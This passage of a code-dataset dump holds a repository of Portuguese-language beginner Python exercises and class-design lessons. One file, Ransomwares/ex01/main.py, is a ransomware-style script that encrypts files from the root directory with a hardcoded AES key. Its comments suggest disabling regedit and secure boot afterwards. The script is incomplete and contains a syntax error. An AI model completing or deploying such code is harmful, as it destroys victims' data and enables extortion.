Na partida {i}, fez {v} gols')\nprint(f'Foi um total de {jogador[\"Total\"]} gols')"},{"alpha_fraction":0.45086705684661865,"alphanum_fraction":0.48554912209510803,"avg_line_length":23.714284896850586,"blob_id":"31b8ddad46c7b22c6091f0aa61ad6cb8c66924ac","content_id":"3a5950d9697c8293f870a41a3f18cd11e7282600","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":175,"license_type":"permissive","max_line_length":43,"num_lines":7,"path":"/Curso-Em-Video/M2/ex50.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ns = 0\nfor i in range(0,7):\n n = int(input('Digite um número: '))\n if n % 2 != 0:\n s += n\nprint(f'A soma de todos os impares é: {s}')\n"},{"alpha_fraction":0.46268656849861145,"alphanum_fraction":0.49253731966018677,"avg_line_length":21.33333396911621,"blob_id":"e7964edc9743eb5fb1400fc5a9462917a95251cd","content_id":"2ea5273282d352580145f321119c365045036fc4","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":134,"license_type":"permissive","max_line_length":36,"num_lines":6,"path":"/Curso-Em-Video/M2/ex49.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = int(input('Digite um numero: '))\n\nfor i in range(0,11):\n mult = i * n\n print(f'{n} X {i} = {mult}')\n"},{"alpha_fraction":0.5352112650871277,"alphanum_fraction":0.591549277305603,"avg_line_length":27.399999618530273,"blob_id":"0603fe73b73d25cbfbdf7b652047d68c3e04e675","content_id":"b9b9fddea7bf0ee3056f22da1375d7444dfe9f8b","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":142,"license_type":"permissive","max_line_length":49,"num_lines":5,"path":"/Curso-Em-Video/M1/ex08.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nx = int(input(\"Digite o valor em metros: \"))\ncm = x*100\nmm = x*1000\nprint(f'O valor {x}m equivale a {cm}cm e {mm}mm')\n"},{"alpha_fraction":0.6764705777168274,"alphanum_fraction":0.6801470518112183,"avg_line_length":37.71428680419922,"blob_id":"57ea8070b172288686ebcaedd00f950c1232d50d","content_id":"a7c977f7d3b8b92b2ef35533ac44e055b3b27960","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":278,"license_type":"permissive","max_line_length":80,"num_lines":7,"path":"/Curso-Em-Video/M1/tiposPrimitivos.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn = input(\"Digite um numero: \")\n\"\"\"* A função isnumeric() verifica se a variavel representa um valor númerico e \n retorna uma resposta booleana\n * A função isalpha() verifica se a variavei é uma letra ou uma string \n\"\"\"\nprint(n.isnumeric())\n\n"},{"alpha_fraction":0.6379593014717102,"alphanum_fraction":0.6553477644920349,"avg_line_length":47.00787353515625,"blob_id":"c5cba01f17ba258364d7f408cfc7de59db877afb","content_id":"9dfbb4b127dc97928ec1c4aa2594a74e6e86b659","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6136,"license_type":"permissive","max_line_length":137,"num_lines":127,"path":"/Paradigmas_Program/aula02.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\" CEUB - Ciência da Computação - Prof. Barbosa\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\n\n- Valor default\nQuando declaramos as variáveis na classe Conta, aprendemos que podemos atribuir um valor padrão\npara cada uma delas. Então, atribuo um valor padrão ao limite, por exemplo, 1000.0 reais.\n\n- Agregação\nAumente a classe Conta, adicione os atributos nome, sobrenome e cpf do titular da conta.\nDesvantagem:\nFicamos como muitos atributos e uma Conta não tem os atributos nome, sobrenome e cpf,\nMas, esses atributos são de Cliente e não da Conta\nAssim, criamos uma nova classe e fazemos uma agregação, ou seja,\nagregar um cliente a conta.\nPortanto, a classe Conta tem um Cliente.\nOs atributos de uma Conta também podem ser referência (objeto) para outra classe.\n\n- Implemente:\n1- Crie a classe Cliente com os atributos nome, sobrenome e cpf.\n- Crie os métodos gets e sets.\n- Crie um objeto da classe Cliente, teste.\n- Crie o método nome_completo\n5- Em Conta, altere o atributo nome_cliente (string) para cliente, ele vai receber um objeto cliente.\n- Crie um objeto da classe Conta usando o objeto cliente criado\n- Mostre o endereço do objeto cliente criado\n- Mostre o endereço do objeto conta criado\n- Mostre o endereço do objeto cliente criado, usando o objeto conta.\n10- Mostre o nome, sobrenome e cpf usando o objeto cliente\n- Altere o nome do objeto cliente, teste.\n- Mostre o nome, sobrenome e cpf usando o objeto conta.\n- Altere o nome do objeto cliente usando o objeto conta, teste.\n- Consulte o extrato com os dados: número e saldo da conta\n15- Consulte o extrato com os dados: nome, sobrenome, cpf, número e saldo da conta\n- Mostre todos os dados do atributo titular da classe Conta\n- Use o método __class__ no objeto cliente\n- Use o método __class__.__name__ no objeto cliente\n- Mostre os atributos do objeto cliente com o método __dict__\n- Mostre os atributos do objeto cliente com o método vars \"\"\"\nclass Cliente(object): # class Cliente:\n def __init__(self, nome, sobrenome, cpf):\n self.nome = nome\n self.sobrenome = sobrenome\n self.cpf = cpf\n def get_nome(self):\n return self.nome\n def set_nome(self, novo_nome):\n self.nome = novo_nome\n def get_sobrenome(self):\n return self.sobrenome\n def get_cpf(self):\n return self.cpf\n def nome_completo(self):\n nc = f'{self.nome} {self.sobrenome}'\n return nc\nclass Conta: # class Conta(object):\n def __init__(self, numero, cliente, saldo, limite=1000.0): # O parãmetro cliente recebe um objeto da classe Cliente\n self.numero = numero\n self.titular = cliente # O atributo self.titular recebe o endereço do objeto cliente1\n self.saldo = saldo\n self.limite = limite\n def get_titular(self):\n return self.titular\n def get_titular_nome(self): # Consulta nome do cliente\n return self.titular.nome\n def set_titular_nome(self, novo_nome): # Altera nome\n self.titular.nome = novo_nome\n def get_titular_sobrenome(self):\n return self.titular.sobrenome\n def get_titular_cpf(self):\n return self.titular.cpf\n def get_saldo(self):\n return self.saldo\n def extrato(self):\n print(f\"Extrato 1:\\nNúmero: {self.numero}, Saldo: {self.saldo}\")\n # print(\"Extrato 1:\\nNúmero: {}, Saldo: {}\".format(self.numero, self.saldo))\n def extrato_2(self):\n print(f'Extrato 2:\\nNome: {self.titular.nome} {self.titular.sobrenome}, CPF: {self.titular.cpf}')\n print(\"Número: {}, Saldo: {}\".format(self.numero, self.saldo))\n def dados_titular(self):\n return self.titular.__dict__\n def deposito(self, valor):\n self.saldo += valor\n def saque(self, valor):\n if self.saldo + self.limite < valor:\n print('Saldo insuficiente.')\n return False\n else:\n self.saldo -= valor\n print('Saque realizado.')\n return True\n def transfere_para(self, destino, valor):\n retirou = self.saque(valor)\n if not retirou: # if retirou == False:\n print('Transferência não realizada')\n return False\n else:\n destino.deposito(valor)\n print('Transferência realizada com sucesso')\n return True\n\nif __name__ == '__main__': # mai <tab>\n cliente1 = Cliente('João', 'Oliveira', '1111111111-1') # Cria objeto da classe Cliente\n print('Nome:', cliente1.get_nome())\n conta1 = Conta('123-4', cliente1, 1200.0, 1000.0) # Cria objeto da classe Conta usando o objeto da classe Cliente\n print(cliente1) # <conta_agregacao.Cliente object at 0x000002B9DBA4AFD0>, o endereço do objeto cliente1\n print(conta1) # <conta_agregacao.Conta object at 0x000002B9DBA4AF70>\n print(conta1.get_titular()) # <conta_agregacao.Cliente object at 0x000002B9DBA4AFD0>, o endereço do atributo titular da classe Conta\n print('Nome:', cliente1.get_nome()) # Consulta usando a classe Cliente\n print('Sobrenome:', cliente1.get_sobrenome())\n print('CPF:', cliente1.get_cpf())\n cliente1.set_nome('Ana') # Altera o nome usando a classe Cliente\n print('Nome:', cliente1.get_nome())\n print('Nome completo:', cliente1.nome_completo())\n print('Nome:', conta1.get_titular_nome()) # Consulta usando a classe Conta\n print('Sobrenome:', conta1.get_titular_sobrenome())\n print('CPF:', conta1.get_titular_cpf())\n conta1.set_titular_nome('Alice') # Altera o nome usando a classe Conta\n print('Nome:', conta1.get_titular_nome())\n conta1.extrato()\n conta1.extrato_2()\n print('conta1.dados_titular():', conta1.dados_titular())\n print(conta1.get_titular()) # Retorna o endereço\n print('special method or dunder:')\n print(cliente1.__class__)\n print(cliente1.__class__.__name__)\n print(cliente1.__dict__) # Métodos semelhantes\n print(vars(cliente1))"},{"alpha_fraction":0.5135135054588318,"alphanum_fraction":0.5405405163764954,"avg_line_length":23.130434036254883,"blob_id":"97eeed42f08cf300165f5328cbfa53e2c236c1d8","content_id":"9650e0cd5e6a2a829a0e84cdb5c23449a925d70d","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":564,"license_type":"permissive","max_line_length":61,"num_lines":23,"path":"/Curso-Em-Video/M3/ex78.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nn1 = []\nmaior = 0\nmenor = 999999\nfor num in range(0,5):\n n = int(input(f'Digite um valor para a posição {num}: '))\n n1.append(n)\n if n > maior:\n maior = n\n if n < menor:\n menor = n\n\nprint(f' Você digitou: {n1}')\nprint(f' O maior número foi: {maior} nas posições ',end='')\nfor i, v in enumerate(n1):\n if v == maior:\n print(f'{i}...',end='')\nprint()\nprint( f' O menor número foi: {menor} nas posições ',end='')\nfor i, v in enumerate(n1):\n if v == menor:\n print(f'{i}...',end='')\nprint()\n"},{"alpha_fraction":0.616487443447113,"alphanum_fraction":0.6487455368041992,"avg_line_length":30.05555534362793,"blob_id":"da1ddb4f5be4173a40c3caa7ff0c2d5aea51c330","content_id":"7ac75d98a45dede516612b63361b12d93bfabf89","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":561,"license_type":"permissive","max_line_length":132,"num_lines":18,"path":"/Curso-Em-Video/M3/ex91.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from random import randint\nfrom time import sleep\nfrom operator import itemgetter\njogo = {'Jogador1': randint(1,6),\n 'Jogador2': randint(1,6),\n 'Jogador3': randint(1,6),\n 'Jogador4': randint(1,6)}\nrankng = []\n\nprint('Valores sorteados:')\nfor k, v in jogo.items():\n print(f'{k} tirou {v} no dado.')\n sleep(1)\nrankng = sorted(jogo.items(), key=itemgetter(1), reverse=True)# usa a função itemgeter para pegar os valores das chavers e ordenalos\n\nfor i, v in enumerate(rankng):\n print(f'{i+1}º Lugar: {v[0]} com {v[1]}')\n sleep(1)"},{"alpha_fraction":0.5796610116958618,"alphanum_fraction":0.5864406824111938,"avg_line_length":20.14285659790039,"blob_id":"bc54b95eb210958498e8cb556b047f98ed51c156","content_id":"83b20f33d5ed02859bd84d2888b70a13c97e5af2","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":296,"license_type":"permissive","max_line_length":60,"num_lines":14,"path":"/Curso-Em-Video/M3/ex103.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def ficha(name='<Desconhecido>',ng=0):\n print(f'O jogador {name} fez {ng} gol(s) no campeonato')\n\n\nn = str(input('Digite o nome do jogador: '))\ng = str(input('Digite o número de gols: '))\nif g.isnumeric():\n g = int(g)\nelse:\n g = 0\nif n.strip() =='':\n ficha(ng=g)\nelse:\n ficha(n,g)"},{"alpha_fraction":0.5839999914169312,"alphanum_fraction":0.6259999871253967,"avg_line_length":26.77777862548828,"blob_id":"d5d4816bb5c17e27dbd972807ce8871e24f1e28e","content_id":"db68960733394e037dabc5d054061adb23440f55","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":511,"license_type":"permissive","max_line_length":44,"num_lines":18,"path":"/Curso-Em-Video/M2/ex43.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom math import pow\naltu = float(input('Digite a sua altura: '))\npeso = float(input('Digite o seu peso: '))\nimc =(peso/pow(altu,2))\n\nprint(f'seu IMC é {imc:.2f}')\n\nif imc < 18.5:\n print('Você está abaixo do peso!')\nelif imc > 18.5 and imc<26:\n print('Você está no peso ideal!')\nelif imc > 25 and imc < 31:\n print('Você está com sobre peso!')\nelif imc > 30 and imc < 41:\n print('Você está com obesidade!')\nelif imc > 40:\n print('Você está com obes morbida!!!')\n"},{"alpha_fraction":0.6119999885559082,"alphanum_fraction":0.6480000019073486,"avg_line_length":21.727272033691406,"blob_id":"7e954ca620d83faedb8f0b081d9480825fedf73c","content_id":"73221ce609b8168e50c00ad39ed28d11c4433725","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":250,"license_type":"permissive","max_line_length":34,"num_lines":11,"path":"/Curso-Em-Video/M1/ex20.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nimport random\n\nn1 =str(input('Primeiro aluno: '))\nn2 =str(input('Segundo aluno: '))\nn3 =str(input('Terceiro aluno: '))\nn4 =str(input('Quarto aluno: '))\n\nlista = [n1,n2,n3,n4]\nrandom.shuffle(lista)\nprint(f'Nova ordem:{lista}')\n"},{"alpha_fraction":0.5744680762290955,"alphanum_fraction":0.6000000238418579,"avg_line_length":25.11111068725586,"blob_id":"d2136706d0de8929672434c57cb9057a680f173c","content_id":"be767d39d76f4940acc397c953f19465dfbb59e0","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":238,"license_type":"permissive","max_line_length":62,"num_lines":9,"path":"/Curso-Em-Video/M3/ex96.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"def controle(x,y):\n c = x * y\n print(f'A área de um terreno {x:.1f}X{y:.1f} é {c:.1f}m²')\n\nprint('Controle de Terrenos')\nprint('-'*30)\nlar = float(input('LARGURA (m): '))\ncon = float(input('COMPRIMENTO (m): '))\ncontrole(lar,con)\n"},{"alpha_fraction":0.5932835936546326,"alphanum_fraction":0.6194030046463013,"avg_line_length":28.83333396911621,"blob_id":"e01fccdb2268fb2043b032481c8dc4b15e95ca8c","content_id":"ddf735b1e831f96eea9a66ebb7d16e5170950922","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":539,"license_type":"permissive","max_line_length":85,"num_lines":18,"path":"/Curso-Em-Video/M3/ex101.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"from datetime import datetime\ndef voto_calc(idade):\n voto = ''\n if idade >16 and idade <18 or idade > 70:\n voto = 'VOTO NÂO OBRIGATORIO!'\n elif idade < 70 and idade > 18:\n voto = 'VOTO OBRIGATÓRIO!'\n elif idade < 16:\n voto = 'NÂO VOTA!'\n return voto\n\ndef calc_idade(nasc):\n now = datetime.now().year\n idade = now - nasc\n return idade\nprint('~'*30)\nano_nasc = int(input('Digite o seu ano de nascimento: '))\nprint(f'Com {calc_idade(ano_nasc)} anos de idade: {voto_calc(calc_idade(ano_nasc))}')"},{"alpha_fraction":0.5501222610473633,"alphanum_fraction":0.5721271634101868,"avg_line_length":24.5625,"blob_id":"446a03630d024818f5b9234549f04ab7fe49aa43","content_id":"f60bdd70ff9ea1ec56611627675e075dbaa67d96","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":410,"license_type":"permissive","max_line_length":66,"num_lines":16,"path":"/Curso-Em-Video/M2/ex62.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\na1 =int(input('Digite o primeiro termo da PA: '))\nr =int(input('Digite a razão: '))\ntermo = a1\ncont = 1\ntotal =0\nmais = 10\nwhile mais != 0:\n total = total + mais\n while cont<= total:\n print(f'{termo} => ', end=' ')\n termo += r\n cont +=1\n mais = int(input('\\nDeseja mostrar quantos termos a mais? '))\nprint(f'Total de termos usados {total}')\nprint('fim')\n"},{"alpha_fraction":0.5854341983795166,"alphanum_fraction":0.6218487620353699,"avg_line_length":22.799999237060547,"blob_id":"130ef56bd37b771d910f53a95883760d1719ab73","content_id":"d54e412f07ca38ff1b69caeeef135fbb618f21ee","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":357,"license_type":"permissive","max_line_length":48,"num_lines":15,"path":"/Curso-Em-Video/M2/ex41.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nidade = int(input('Digite a idade do atleta: '))\n\nif idade <= 9:\n print('Atleta mirim')\nelif idade > 9 and idade < 14:\n print('Atleta infantil')\nelif idade > 14 and idade < 19:\n print('Atleta junior')\nelif idade ==20:\n print('Atleta senior')\nelif idade > 20:\n print('Atleta master')\nelse:\n print('Idade invalida!')\n"},{"alpha_fraction":0.6491228342056274,"alphanum_fraction":0.6608186960220337,"avg_line_length":23.428571701049805,"blob_id":"859e0b23bfdc335c195030242a65a071875563d1","content_id":"be8bcbfb746eab13cf38a1bca8cfb6bd07278c2a","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":171,"license_type":"permissive","max_line_length":47,"num_lines":7,"path":"/Curso-Em-Video/M1/ex22.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nnome = str(input('Digite seu nome completo: '))\nprint(nome.upper())\nprint(nome.lower())\nprint(len(nome))\nsepara=nome.split()\nprint(len(separa[0]))\n"},{"alpha_fraction":0.6192411780357361,"alphanum_fraction":0.6537940502166748,"avg_line_length":24.44827651977539,"blob_id":"794b89eb89dc6b644b325ecb71ae75081c35208d","content_id":"da839f1fdbd7d9db8aa9250b95408597e8e6c543","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1480,"license_type":"permissive","max_line_length":113,"num_lines":58,"path":"/Ransomwares/ex01/main.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"#!/usr/bin/python3.7\n#-8- coding: utf-8 -*-\nfrom Crypto.Cipher import AES\nfrom Crypto.Util import Counter\nimport argparse\nimport os\nimport discovery\nimport crypter\n\n# A senha pode ter os seguintes tamanhos :\n# 128/192/256 bits - \nHARDCODE_KEY = '10101010101010101010101010101010'\n\ndef get_parser():\n parser = argparse.ArgumentParser(description=\"hackwareCrypter\")\n\n parser.add_argument('-d', '--decrypt', help='decripta os arquivos [default: no]', action='store_true')\n\n return parser\n\ndef main():\n parser = get_parser()\n\n args= vars(parser.parse_args())\n decrypt = args['decrypt']\n\n if decrypt:\n print('Seus arquivos foram criptografados {}'.format(HARDCODE_KEY))\n key = input('Digite a sua senha> ')\n else:\n if HARDCODE_KEY:\n key = HARDCODE_KEY\n\n\n ctr = Counter.new(128)\n crypt = AES.new(key, AES.MODE_CTR, counter=ctr)\n\n if not decrypt:\n crytoFn = crypt.encrypt\n else:\n crytoFn = crypt.decrypt\n\n init_path = os.path.abspath(os.path.join(os.getcwd(), 'files'))\n startDirs = [/]\n\n for currentDir in startDirs:\n for filename in discovery.discover(currentDir):\n crypter.change_files(filename, crytoFn)\n\n# Limpa a chave de ciptografia da memoria\n for _ in range(100):\n pass\n\n if not decrypt:\n pass\n# Após a encriptação, você pode alterar o wallpaper, os icones, deativoa o regedit, admins, bios secure boot, etc\nif __name__ =='__main__':\n main()\n"},{"alpha_fraction":0.7767935991287231,"alphanum_fraction":0.7812223434448242,"avg_line_length":50.3636360168457,"blob_id":"8424be26b7014bc0ba8954238fe572a2651f9805","content_id":"2f264de5510aa8ac34b5500481b46b742b4211d7","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1196,"license_type":"permissive","max_line_length":121,"num_lines":22,"path":"/curso_monitoria/continue.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"#Continue\n'''\nA instrução break e a instrução continue são ferramentas das estruturas de repetição permitindo a interrupção de um único\n ciclo ou do laço de repetição. É importante saber distinguir ambas instruções, por exemplo, a instrução break interrompe\n não somente o ciclo em execução, mas sim, todo o laço, enquanto que a instrução continue finaliza um único laço, fazendo\n com que o Cursor de execução vá para o cabeçalho da estrutura de repetição.\n\nEntão, nunca é demais repetir que instrução contine interrompe somente o ciclo que está sendo executado fazendo com que\no cursor de execução retorne ao cabeçalho da estrutura de repetição para dar início a execução do ciclo seguinte.\n\nCaso não conheças a instrução break para a interrupção de laços, é interessante que o faça! E também, se houver dúvidas\nsobre as estrutruras de repetição, estude a aula em que tratamos sobre as mesmas.\n\nNo código abaixo construimos um simples exemplo com o único propósito de demonstrar a interrupção da execução de um único\nciclo com a instruçao continue.\n'''\nx = 0\nwhile(x <= 10):\n x+=1\n if(x % 2):\n continue\n print(x)"},{"alpha_fraction":0.582524299621582,"alphanum_fraction":0.5873786211013794,"avg_line_length":28.428571701049805,"blob_id":"7587dad095018a28a56c376a789a0e2dc487d693","content_id":"8cd873e4816ea9dbdb8aa367451e6daa45894a79","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":213,"license_type":"permissive","max_line_length":79,"num_lines":7,"path":"/Curso-Em-Video/M1/condicoes.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\n * if <condição>:\n ->se a condição for atendida o bloco sera execultado.\n *else:\n -> caso a condição não seja atendida se executa o bloco abaixo de else.\n\"\"\"\n"},{"alpha_fraction":0.5268022418022156,"alphanum_fraction":0.5471349358558655,"avg_line_length":20.600000381469727,"blob_id":"8adecb824b4dfb2e40089f19c5f56cb658e9ebfd","content_id":"16247491cd1107c5316053fd789d113e5ff30ac7","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":543,"license_type":"permissive","max_line_length":52,"num_lines":25,"path":"/Curso-Em-Video/M3/ex88.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nfrom random import randint\nfrom time import sleep\nlis = list()\ncont = 0\ngames = []\namg = int(input('Quantos jogos você deseja fazer?'))\ntot = 0\nwhile tot <= amg:\n cont = 0\n while True:\n num = randint(1,60)\n if num not in lis:\n lis.append(num)\n cont +=1\n if cont>=6:\n break\n lis.sort()\n games.append(lis[:])\n lis.clear()\n tot +=1\nprint(f'Os números sorteados foram: {lis}')\nfor i, l in enumerate(games):\n print(f'games {i}:{l}')\n sleep(1)\n\n"},{"alpha_fraction":0.5677680373191833,"alphanum_fraction":0.5758597254753113,"avg_line_length":43.93939208984375,"blob_id":"712f818f6a0c52efee1996afd7152d91fcb674ba","content_id":"da9f0feba6e84fa26313759dcbbecd80a117b0bf","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1495,"license_type":"permissive","max_line_length":98,"num_lines":33,"path":"/Curso-Em-Video/M3/tuplas.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTuplas são variaveis compostas imutaveis, que iniciadas com ()\n ex: lanche = ['pudin', 'pizza', 'suco','sanduiche']\n\n * os metodos de fatiamentos usados em strings podem ser usados em tuplas ex:\n -> print(lanche[1:]) -> comece do suco até o fim da tupla\n 'pizza', 'suco','sanduiche'\n -> print(lanche[0:2]) -> vai so do zero até o 1 (o ultimo sempre é ignorado no python)\n 'pudin', 'pizza'\n -> print(lanche[2]) -> mostra o segundo elemento da tupla\n 'suco'\n -> len(lanche)-> mostra o comprimento da tupla.\n -> podemos somar tuplas.\n -> count(x) mostra quantos vezes 'x' aparece na tupla\n -> lanche.index(x) -> mostra a posição de 'x'.\n -> del(x) -> deleta uma tupla inteira.\n *Podemos usar as tuplas em estruturas de repetição.\n |for c in lanche:|\n ex: | print (c)i |-> para cada comida em lanche ele irá mostrar uma comida de cada vez\n | |\n * Além do for podemos utilizar o enumerate para capta o conteudo e a posição.\n ex: for posicao,comida in enumerate(lanche)\n\"\"\"\n#--------------------------TESTES------------------------------------------\nlanche = ('sanduiche','suco','Pizza','pudim')\n#print(lanche)\n#print(lanche[1])\n#print(lanche[-2]) -> mostra o sengundo da direita para a esquerda\n#print(lanche[1:3])\n#print(lanche[:2])\n#print(lanche[-3:])\n#print(sorted(lanche)) -> mostra na ordem\n"},{"alpha_fraction":0.4808429181575775,"alphanum_fraction":0.5191571116447449,"avg_line_length":20.75,"blob_id":"5180df8aca04e3c317815d2368f891c5c1d83537","content_id":"7482fa23f342e3dbef348734e074deafbf192e7c","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":522,"license_type":"permissive","max_line_length":49,"num_lines":24,"path":"/Curso-Em-Video/M2/ex71.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\nprint('-------Banco-------')\nvalor = int(input('Digite quanto quer sacar: '))\ntotal = valor\ncin = 50\ntotdez = 0\ntotum = 0\ntotcin= 0\nwhile True:\n if total >= 50:\n total -= 50\n totcin +=1\n if total >= 10:\n total -= 10\n totdez +=1\n if total >= 1:\n total -=1\n totum +=1\n if total ==0:\n break\nprint(f'\\n O total de cedulas utilizadas foram: '\n f'\\n {totcin} de cinquenta reais'\n f'\\n {totdez} de dez reais'\n f'\\n {totum} de um real')\n"},{"alpha_fraction":0.661577582359314,"alphanum_fraction":0.6715436577796936,"avg_line_length":47.132652282714844,"blob_id":"db08b035bd1f223438d6ec0db49d216d2d7f90ad","content_id":"abe1eabb64d512d9c4c303631e11b9cbab515be5","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":4761,"license_type":"permissive","max_line_length":117,"num_lines":98,"path":"/Paradigmas_Program/aula04.py","repo_name":"Italo-Neves/Python","src_encoding":"UTF-8","text":"\"\"\" CEUB - Bacharelado em Ciência da Computação - Prof. Barbosa\nTeclas de atalho: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha.\n\n- Implemente as classes necessárias para realizar a manutenção de um cliente.\nPrecisamos trabalhar com as seguintes características de cliente:\nNome, idade e seus endereços, ou seja, cada cliente pode ter mais de um endereço.\n\n- Implemente:\n1- Crie a classe Cliente com os atributos nome, idade e endereços\n- Crie os métodos gets\n- Crie um objeto da classe Cliente, teste\n- Crie a classe Endereco com os atributos cidade e estado\n5- Crie os métodos gets\n- Insira um endereço para o cliente:\n Na classe Cliente, crie o método insere_endereco, ele recebe duas strings e cria o objeto da classe Endereco, teste\n- Na classe Cliente, crie o método mostra_enderecos, teste\n- Crie mais um cliente e insira dois endereços pra ele, teste\n- Na classe Cliente, crie o método insere_endereco2, ele recebe um objeto da classe Endereco, teste\n10- Crie o método mostra_enderecos2 para Melhorar o layout do método , antes de mostrar\n todos os endereços, ele deve mostrar também o nome do cliente, teste.\n- Chame o método mostra_enderecos antes de inserir os endereços, ou seja, no início do método main.\n Se não tiver endereços cadastrados, mostre a mensagem \"Cliente não tem endereço cadastrado\".\n12- Crie um método para remover um endereço de um cliente, teste.\n13- Altere o endereço de um cliente, ele continua no mesmo estado, mas mudou de cidade, teste.\n\"\"\"\n\n\nclass Cliente: # class Cliente(object): # Nome de classe no singular, pois é um modelo\n def __init__(self, nome, idade):\n self.nome = nome\n self.idade = idade\n self.enderecos = [] # Nome de lista no plural, pode ter vários conteúdos\n def get_nome(self):\n return self.nome\n def get_idade(self):\n return self.idade\n def insere_endereco(self, cidade, estado): # Recebe duas strings\n o_endereco = Endereco(cidade, estado) # Chama o construtor da classe Endereco\n self.enderecos.append(o_endereco)\n # self.enderecos.append(Endereco(cidade, estado)) # Equivalente as duas anteriores\n def mostra_enderecos(self):\n print(f'- Endereços do cliente:')\n for o_endereco in self.enderecos: # Percorre a lista self.enderecos\n print(o_endereco.get_cidade(), o_endereco.get_estado())\n def insere_endereco2(self, o_endereco): # Recebe um objeto da classe Endereco\n self.enderecos.append(o_endereco)\n def mostra_enderecos2(self):\n print(f'- Endereços do cliente {self.nome}')\n for o_endereco in self.enderecos:\n print(o_endereco.get_cidade(), o_endereco.get_estado())\n def mostra_enderecos3(self):\n if self.enderecos == []: # if len(self.enderecos) == 0: # if not self.enderecos:\n print(\"Cliente não tem endereço cadastrado\")\n else:\n print(f'- Endereços do cliente {self.nome}')\n for o_endereco in self.enderecos:\n print(o_endereco.get_cidade(), o_endereco.get_estado())\n def remove_endereco(self, o_endereco):\n self.enderecos.remove(o_endereco)\n\n\nclass Endereco(object):\n def __init__(self, cidade, estado):\n self.cidade = cidade\n self.estado = estado\n\n def get_cidade(self):\n return self.cidade\n\n def get_estado(self):\n return self.estado\n\n\nif __name__ == '__main__':\n cliente1 = Cliente('Luis', 32) # Chama o construtor (__init__) da classe Cliente\n print('- Nome:', cliente1.get_nome())\n print('Idade:', cliente1.get_idade())\n cliente1.mostra_enderecos3()\n cliente1.insere_endereco('Belo Horizonte', 'MG')\n print('- Nome:', cliente1.get_nome())\n cliente1.mostra_enderecos()\n cliente2 = Cliente('Maria', 44)\n cliente2.insere_endereco('Salvador', 'BA')\n cliente2.insere_endereco('Rio de Janeiro', 'RJ') # Chama o método passando duas strings\n print('- Nome:', cliente2.get_nome())\n cliente2.mostra_enderecos()\n endereco = Endereco('Brasília', 'DF') # Chama o construtor (__init__) da classe Endereco\n cliente2.insere_endereco2(endereco) # Chama o método passando um objeto\n print('- Nome:', cliente2.get_nome())\n cliente2.mostra_enderecos()\n cliente2.mostra_enderecos2() # Equivalente as duas linhas anteriores\n # Cria o cliente 3\n cliente3 = Cliente('João', 19)\n cliente3.insere_endereco('São Paulo', 'SP')\n print('- Nome:', cliente3.get_nome())\n cliente3.mostra_enderecos()\n cliente3.mostra_enderecos2() # Equivalente as duas linhas anteriores\n 